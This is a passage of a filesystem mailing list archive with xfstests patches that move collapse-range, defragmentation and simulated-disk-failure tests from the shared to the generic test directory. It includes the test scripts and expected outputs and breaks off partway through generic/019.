EOFBLOCKS_FL is set. - if ((${iflags} & 0x400000)); then - echo "EOFBLOCK_FL bit is set." >> $seqres.full - bit_set=1 - else - echo "EOFBLOCK_FL bit is not set." >> $seqres.full - bit_set=0 - fi - - # Check current bit state to expected value. - if [ ${bit_set} -ne ${2} ]; then - echo "Error: Current bit state incorrect." >> $seqres.full - status=1 - exit ${status} - fi - - # Mount the ${TEST_DEV} - mount ${TEST_DEV} -t ${FSTYP} ${TEST_DIR} - fi -} - -# Get standard environment, filters and checks. -. ./common/rc -. ./common/filter - -# Prerequisites for the test run. -_supported_fs ext4 xfs btrfs gfs2 -_supported_os Linux -_require_xfs_io_falloc - -# Real QA test starts here. -rm -f $seqres.full - -# Remove any leftover files from last run. -rm -f ${TEST_DIR}/test_? - -# Begin test cases. -echo "Test 1: Fallocate 40960 bytes and write 4096 bytes (buffered io)." \ - >> $seqres.full -${XFS_IO_PROG} -f \ - -c 'falloc -k 0 40960' \ - -c 'pwrite 0 4096' \ - ${TEST_DIR}/test_1 | _filter_xfs_io_unique -_check_ext4_eof_flag test_1 ${BIT_SET} - -echo "Test 2: Fallocate 40960 bytes and write 4096 bytes (direct io)." \ - >> $seqres.full -${XFS_IO_PROG} -f -d \ - -c 'falloc -k 0 40960' \ - -c 'pwrite 0 4096' \ - ${TEST_DIR}/test_2 | _filter_xfs_io_unique -_check_ext4_eof_flag test_2 ${BIT_SET} - -echo "Test 3: Fallocate 40960 bytes and write 40960 bytes (buffered io)." \ - >> $seqres.full -${XFS_IO_PROG} -f \ - -c 'falloc -k 0 40960' \ - -c 'pwrite 0 40960' \ - ${TEST_DIR}/test_3 | _filter_xfs_io_unique -_check_ext4_eof_flag test_3 ${BIT_NOT_SET} - -echo "Test 4: Fallocate 40960 bytes and write 40960 bytes (direct io)." \ - >> $seqres.full -${XFS_IO_PROG} -f -d \ - -c 'falloc -k 0 40960' \ - -c 'pwrite 0 40960' \ - ${TEST_DIR}/test_4 | _filter_xfs_io_unique -_check_ext4_eof_flag test_4 ${BIT_NOT_SET} - -echo "Test 5: Fallocate 128k, seek 256k and write 4k block (buffered io)." \ - >> $seqres.full -${XFS_IO_PROG} -f \ - -c 'falloc -k 0 128k' \ - -c 'pwrite 256k 4k' \ - ${TEST_DIR}/test_5 | _filter_xfs_io_unique -_check_ext4_eof_flag test_5 ${BIT_NOT_SET} - -echo "Test 6: Fallocate 128k, seek to 256k and write a 4k block (direct io)." \ - >> $seqres.full -${XFS_IO_PROG} -f -d \ - -c 'falloc -k 0 128k' \ - -c 'pwrite 256k 4k' \ - ${TEST_DIR}/test_6 | _filter_xfs_io_unique -_check_ext4_eof_flag test_6 ${BIT_NOT_SET} - -status=0 -exit ${status} diff --git a/tests/shared/243.out b/tests/shared/243.out deleted file mode 100644 index 290a005..0000000 --- a/tests/shared/243.out +++ /dev/null @@ -1,13 +0,0 @@ -QA output created by 243 -wrote 4096/4096 bytes at offset 0 -XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) -wrote 4096/4096 bytes at offset 0 -XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) -wrote 40960/40960 bytes at offset 0 -XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) -wrote 40960/40960 bytes at offset 0 -XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) -wrote 4096/4096 bytes at offset 262144 -XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) -wrote 4096/4096 bytes at offset 262144 -XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) diff --git a/tests/shared/group b/tests/shared/group index 1c6fffb..2165aac 100644 --- a/tests/shared/group +++ b/tests/shared/group @@ -5,7 +5,6 @@ # 032 mkfs auto quick 051 acl udf auto quick -243 auto quick prealloc 272 auto enospc rw 289 auto quick 298 auto trim -- 1.8.3.1 From lczerner@redhat.com Tue Mar 25 16:12:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D1EE929DFD for ; Tue, 25 Mar 2014 16:12:04 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 40EF0AC002 for ; Tue, 25 Mar 2014 14:12:01 -0700 (PDT) X-ASG-Debug-ID: 1395781917-04cbb054b8726c10001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id ik9LQqoil9k0qIaS for ; Tue, 25 Mar 2014 14:11:58 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2PLBvt9014194 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 25 Mar 2014 17:11:57 -0400 Received: from localhost.localdomain.com (vpn1-6-254.ams2.redhat.com [10.36.6.254]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2PLBssl008047; Tue, 25 Mar 2014 17:11:55 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: Lukas Czerner Subject: [PATCH 1/2] xfstests: Make some shared tests generic Date: Tue, 25 Mar 2014 22:11:50 +0100 X-ASG-Orig-Subj: [PATCH 1/2] xfstests: Make some shared tests generic Message-Id: <1395781911-13084-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1395781918 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 There are couple of tests in shared directory which really should be made generic, so move it. It is mostly collapse range tests, which really can be generic to make super we test every file system which adds collapse range support. Here is what we're moving in this commit. shared/001 -> generic/004 shared/002 -> generic/009 shared/003 -> generic/012 shared/004 -> generic/016 shared/005 -> generic/017 shared/218 -> generic/018 shared/305 -> generic/019 Signed-off-by: Lukas Czerner --- tests/generic/004 | 65 ++++++++++++++++++ tests/generic/004.out | 49 +++++++++++++ tests/generic/009 | 65 ++++++++++++++++++ tests/generic/009.out | 49 +++++++++++++ tests/generic/012 | 65 ++++++++++++++++++ tests/generic/012.out | 49 +++++++++++++ tests/generic/016 | 65 ++++++++++++++++++ tests/generic/016.out | 49 +++++++++++++ tests/generic/017 | 90 ++++++++++++++++++++++++ tests/generic/017.out | 4 ++ tests/generic/018 | 93 +++++++++++++++++++++++++ tests/generic/018.out | 19 +++++ tests/generic/019 | 187 ++++++++++++++++++++++++++++++++++++++++++++++++++ tests/generic/019.out | 9 +++ tests/generic/group | 7 ++ tests/shared/001 | 65 ------------------ tests/shared/001.out | 49 ------------- tests/shared/002 | 65 ------------------ tests/shared/002.out | 49 ------------- tests/shared/003 | 65 ------------------ tests/shared/003.out | 49 ------------- tests/shared/004 | 65 ------------------ tests/shared/004.out | 49 ------------- tests/shared/005 | 90 ------------------------ tests/shared/005.out | 4 -- tests/shared/218 | 93 ------------------------- tests/shared/218.out | 19 ----- tests/shared/305 | 187 -------------------------------------------------- tests/shared/305.out | 9 --- tests/shared/group | 8 --- 30 files changed, 865 insertions(+), 866 deletions(-) create mode 100755 tests/generic/004 create mode 100644 tests/generic/004.out create mode 100644 tests/generic/009 create mode 100644 tests/generic/009.out create mode 100644 tests/generic/012 create mode 100644 tests/generic/012.out create mode 100644 tests/generic/016 create mode 100644 tests/generic/016.out create mode 100644 tests/generic/017 create mode 100644 tests/generic/017.out create mode 100755 tests/generic/018 create mode 100644 tests/generic/018.out create mode 100755 tests/generic/019 create mode 100644 tests/generic/019.out delete mode 100755 tests/shared/001 delete mode 100644 tests/shared/001.out delete mode 100644 tests/shared/002 delete mode 100644 tests/shared/002.out delete mode 100644 tests/shared/003 delete mode 100644 tests/shared/003.out delete mode 100644 tests/shared/004 delete mode 100644 tests/shared/004.out delete mode 100644 tests/shared/005 delete mode 100644 tests/shared/005.out delete mode 100755 tests/shared/218 delete mode 100644 tests/shared/218.out delete mode 100755 tests/shared/305 delete mode 100644 tests/shared/305.out diff --git a/tests/generic/004 b/tests/generic/004 new file mode 100755 index 0000000..36dcdea --- /dev/null +++ b/tests/generic/004 @@ -0,0 +1,65 @@ +#! /bin/bash +# FS QA Test No. generic/004 +# +# Standard collapse range tests +# This testcase is one of the 4 testcases which tries to +# test various corner cases for fcollapse range functionality over different +# type of extents. These tests are based on generic/255 test case. +# For the type of tests, check the description of _test_generic_punch +# in common/rc. +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +# we need to include common/punch to get defination fo filter functions +. ./common/rc +. ./common/filter +. ./common/punch + +# real QA test starts here +_supported_fs generic +_supported_os Linux + +_require_xfs_io_falloc_punch +_require_xfs_io_falloc +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse + +testfile=$TEST_DIR/$seq.$$ + +_test_generic_punch falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile +_check_test_fs + +status=0 +exit diff --git a/tests/generic/004.out b/tests/generic/004.out new file mode 100644 index 0000000..befcabd --- /dev/null +++ b/tests/generic/004.out @@ -0,0 +1,49 @@ +QA output created by 004 + 1. into a hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f4f35d60b3cc18aaa6d8d92f0cd3708a + 4. hole -> data +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 5. hole -> unwritten +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 10. hole -> data -> hole +bb7df04e1b0a2570657527a7e108ae23 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +bb7df04e1b0a2570657527a7e108ae23 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ 0 +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/generic/009 b/tests/generic/009 new file mode 100644 index 0000000..fa0814b --- /dev/null +++ b/tests/generic/009 @@ -0,0 +1,65 @@ +#! /bin/bash +# FS QA Test No. generic/009 +# +# Delayed allocation collapse range tests +# This testcase is one of the 4 testcases which tries to +# test various corner cases for fcollapse range functionality over different +# type of extents. These tests are based on generic/255 test case. +# For the type of tests, check the description of _test_generic_punch +# in common/rc. +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +# we need to include common/punch to get defination fo filter functions +. ./common/rc +. ./common/filter +. ./common/punch + +# real QA test starts here +_supported_fs generic +_supported_os Linux + +_require_xfs_io_falloc_punch +_require_xfs_io_falloc +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse + +testfile=$TEST_DIR/$seq.$$ + +_test_generic_punch -d falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile +_check_test_fs + +status=0 +exit diff --git a/tests/generic/009.out b/tests/generic/009.out new file mode 100644 index 0000000..96c2d33 --- /dev/null +++ b/tests/generic/009.out @@ -0,0 +1,49 @@ +QA output created by 009 + 1. into a hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f4f35d60b3cc18aaa6d8d92f0cd3708a + 4. hole -> data +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 5. hole -> unwritten +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 10. hole -> data -> hole +bb7df04e1b0a2570657527a7e108ae23 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +bb7df04e1b0a2570657527a7e108ae23 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ 0 +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/generic/012 b/tests/generic/012 new file mode 100644 index 0000000..e689299 --- /dev/null +++ b/tests/generic/012 @@ -0,0 +1,65 @@ +#! /bin/bash +# FS QA Test No. generic/012 +# +# Multi collapse range tests +# This testcase is one of the 4 testcases which tries to +# test various corner cases for fcollapse range functionality over different +# type of extents. These tests are based on generic/255 test case. +# For the type of tests, check the description of _test_generic_punch +# in common/rc. +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +# we need to include common/punch to get defination fo filter functions +. ./common/rc +. ./common/filter +. ./common/punch + +# real QA test starts here +_supported_fs generic +_supported_os Linux + +_require_xfs_io_falloc_punch +_require_xfs_io_falloc +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse + +testfile=$TEST_DIR/$seq.$$ + +_test_generic_punch -k falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile +_check_test_fs + +status=0 +exit diff --git a/tests/generic/012.out b/tests/generic/012.out new file mode 100644 index 0000000..ffbf8a3 --- /dev/null +++ b/tests/generic/012.out @@ -0,0 +1,49 @@ +QA output created by 012 + 1. into a hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f07217d5ac7ffa15dd8910c4aa912674 + 4. hole -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 5. hole -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 10. hole -> data -> hole +0: [0..31]: extent +1: [32..63]: hole +76cc863b386460b228a493933813a6a0 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +76cc863b386460b228a493933813a6a0 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ 0 +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/generic/016 b/tests/generic/016 new file mode 100644 index 0000000..13a4488 --- /dev/null +++ b/tests/generic/016 @@ -0,0 +1,65 @@ +#! /bin/bash +# FS QA Test No. generic/016 +# +# Delayed allocation multi collapse range tests +# This testcase is one of the 4 testcases which tries to +# test various corner cases for fcollapse range functionality over different +# type of extents. These tests are based on generic/255 test case. +# For the type of tests, check the description of _test_generic_punch +# in common/rc. +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +# we need to include common/punch to get defination fo filter functions +. ./common/rc +. ./common/filter +. ./common/punch + +# real QA test starts here +_supported_fs generic +_supported_os Linux + +_require_xfs_io_falloc_punch +_require_xfs_io_falloc +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse + +testfile=$TEST_DIR/$seq.$$ + +_test_generic_punch -d -k falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile +_check_test_fs + +status=0 +exit diff --git a/tests/generic/016.out b/tests/generic/016.out new file mode 100644 index 0000000..c45a44a --- /dev/null +++ b/tests/generic/016.out @@ -0,0 +1,49 @@ +QA output created by 016 + 1. into a hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f07217d5ac7ffa15dd8910c4aa912674 + 4. hole -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 5. hole -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 10. hole -> data -> hole +0: [0..31]: extent +1: [32..63]: hole +76cc863b386460b228a493933813a6a0 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +76cc863b386460b228a493933813a6a0 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ 0 +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/generic/017 b/tests/generic/017 new file mode 100644 index 0000000..93a4045 --- /dev/null +++ b/tests/generic/017 @@ -0,0 +1,90 @@ +#! /bin/bash +# FS QA Test No. generci/017 +# +# Test multiple fallocate collapse range calls on same file. +# For different blocksizes, collapse a single alternate block multiple times +# until the file is left with 80 blocks and as much number of extents. +# Also check for file system consistency after completing this operation +# for each blocksize. +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "rm -f $tmp.*; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs generic +_supported_os Linux + +_require_scratch +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse +_do_die_on_error=y +testfile=$SCRATCH_MNT/$seq.$$ +BLOCKS=10240 + +for (( BSIZE = 1024; BSIZE <= 4096; BSIZE *= 2 )); do + + length=$(($BLOCKS * $BSIZE)) + case $FSTYP in + xfs) + _scratch_mkfs -b size=$BSIZE >> $seqres.full 2>&1 + ;; + ext4) + _scratch_mkfs -b $BSIZE >> $seqres.full 2>&1 + ;; + esac + _scratch_mount >> $seqres.full 2>&1 + + # Write file + $XFS_IO_PROG -f -c "pwrite 0 $length" -c fsync $testfile > /dev/null + + # Collapse alternate blocks + for (( i = 1; i <= 7; i++ )); do + for (( j=0; j < $(($BLOCKS/(2**$i))); j++ )); do + offset=$(($j*$BSIZE)) + $XFS_IO_PROG -c "fcollapse $offset $BSIZE" $testfile > /dev/null + done + done + + # Check if 80 extents are present + $XFS_IO_PROG -c "fiemap -v" $testfile | grep "^ *[0-9]*:" |wc -l + + _check_scratch_fs + if [ $? -ne 0 ]; then + status=1 + exit + fi + + umount $SCRATCH_MNT +done + +# success, all done +status=0 +exit diff --git a/tests/generic/017.out b/tests/generic/017.out new file mode 100644 index 0000000..cc524ac --- /dev/null +++ b/tests/generic/017.out @@ -0,0 +1,4 @@ +QA output created by 017 +80 +80 +80 diff --git a/tests/generic/018 b/tests/generic/018 new file mode 100755 index 0000000..2544391 --- /dev/null +++ b/tests/generic/018 @@ -0,0 +1,93 @@ +#! /bin/bash +# FS QA Test No. generic/018 +# +# Basic defragmentation sanity tests +# +#----------------------------------------------------------------------- +# Copyright (c) 2009 Eric Sandeen. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter +. ./common/defrag + +# real QA test starts here +_supported_fs generic +_supported_os Linux + +# We require scratch so that we'll have free contiguous space +_require_scratch +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +_require_defrag + +fragfile=$SCRATCH_MNT/fragfile.$$ + +rm -f $fragfile + +# Craft some fragmented files, defrag them, check the result. + +echo "zero-length file:" | tee -a $seqres.full +touch $fragfile +_defrag $fragfile + +echo "Sparse file (no blocks):" | tee -a $seqres.full +$XFS_IO_PROG -f -c "truncate 1m" $fragfile +_defrag $fragfile + +echo "Contiguous file:" | tee -a $seqres.full +dd if=/dev/zero of=$fragfile bs=4k count=4 &>/dev/null +_defrag $fragfile + +echo "Write backwards sync, but contiguous - should defrag to 1 extent" | tee -a $seqres.full +for I in `seq 9 -1 0`; do + dd if=/dev/zero of=$fragfile bs=4k count=1 conv=notrunc seek=$I oflag=sync &>/dev/null +done +_defrag $fragfile + +echo "Write backwards sync leaving holes - defrag should do nothing" | tee -a $seqres.full +for I in `seq 31 -2 0`; do + dd if=/dev/zero of=$fragfile bs=4k count=1 conv=notrunc seek=$I oflag=sync &>/dev/null +done +_defrag $fragfile + +echo "Write forwards sync leaving holes - defrag should do nothing" | tee -a $seqres.full +for I in `seq 0 2 31`; do + dd if=/dev/zero of=$fragfile bs=4k count=1 conv=notrunc seek=$I oflag=sync &>/dev/null +done +_defrag $fragfile + +rm -f $seqres.full +status=0 +exit diff --git a/tests/generic/018.out b/tests/generic/018.out new file mode 100644 index 0000000..5f265d1 --- /dev/null +++ b/tests/generic/018.out @@ -0,0 +1,19 @@ +QA output created by 018 +zero-length file: +Before: 0 +After: 0 +Sparse file (no blocks): +Before: 0 +After: 0 +Contiguous file: +Before: 1 +After: 1 +Write backwards sync, but contiguous - should defrag to 1 extent +Before: 10 +After: 1 +Write backwards sync leaving holes - defrag should do nothing +Before: 16 +After: 16 +Write forwards sync leaving holes - defrag should do nothing +Before: 16 +After: 16 diff --git a/tests/generic/019 b/tests/generic/019 new file mode 100755 index 0000000..1208c49 --- /dev/null +++ b/tests/generic/019 @@ -0,0 +1,187 @@ +#! /bin/bash +# FSQA Test No. generic/019 +# +# Run fsstress and fio(dio/aio and mmap) and simulate disk failure +# check filesystem consistency at the end. +# +#----------------------------------------------------------------------- +# (c) 2013 Dmitry Monakhov +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +fio_config=$tmp.fio +status=1 # failure is the default! + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter +_supported_fs generic +_supported_os Linux +_need_to_be_root +_require_scratch +_require_fail_make_request + +# TODO: Function are common enough to be moved to common/blkdev +SCRATCH_REAL_DEV=`readlink -f $SCRATCH_DEV` +SCRATCH_BDEV=`basename $SCRATCH_REAL_DEV` + +allow_fail_make_request() +{ + echo "Allow global fail_make_request feature" + echo 100 > $DEBUGFS_MNT/fail_make_request/probability + echo 9999999 > $DEBUGFS_MNT/fail_make_request/times + echo 0 > /sys/kernel/debug/fail_make_request/verbose +} + +disallow_fail_make_request() +{ + echo "Disallow global fail_make_request feature" + echo 0 > $DEBUGFS_MNT/fail_make_request/probability + echo 0 > $DEBUGFS_MNT/fail_make_request/times +} + +start_fail_scratch_dev() +{ + echo "Force SCRATCH_DEV device failure" + echo " echo 1 > /sys/block/$SCRATCH_BDEV/make-it-fail" >> $seqres.full + echo 1 > /sys/block/$SCRATCH_BDEV/make-it-fail + +} + 